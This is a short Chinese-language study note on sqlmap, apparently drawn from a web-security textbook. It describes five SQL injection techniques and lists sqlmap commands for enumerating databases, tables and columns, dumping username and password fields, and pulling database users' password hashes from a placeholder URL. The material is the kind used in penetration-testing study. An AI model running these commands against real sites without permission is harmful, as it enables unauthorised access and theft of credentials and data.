sqlmap是一个自动化的sql注入工具,主要功能是扫描、发现并利用给定的url的sql注入漏洞,还内置了很多的绕过插件。sqlmap采用了五种sql注入技术:
基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回的内容判断任何的信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入,在可以使用union的情况下的注入
堆查询注入,可以同时执行多条语句时的注入
判断是否存在注入
sqlmap -u url |
当注入点后面的参数大于等于两个时,url需要加双引号
查询当前用户下的所有数据库:
sqlmap -u url –-dbs
该命令用于查询当前用户下的所有数据库,前提是当前用户有权限读取包含所有数据库列表信息的表
获取数据库中的表名:
sqlmap -u url -D xxx –-tables
查询指定的数据库的所有表名,-D是指定某一个具体的数据库,如果没有指定,则会列出数据库中所有的库的表
获取表中的字段名:
sqlmap -u URL -D 数据库名 -T user_info –-columns
user_info 是数据库中的一个表
获取字段内容:
sqlmap -u URL -D 数据库名 -T 表名 -C username,password –-dump
这里查询username和password的值
获取数据库的所有用户:
sqlmap -u URL –-users
前提是当前用户有权限读取包含所有用户的表的权限
获取数据库用户的密码:
sqlmap -u url –passwords
列出数据库用户的密码,前提是当前用户有读取包含用户密码的权限
获取当前网站数据库的名称:
sqlmap -u URL –-current-db
获取当前网站数据库的用户名称:
sqlmap -u URL –-current-user
参考书籍:web安全攻防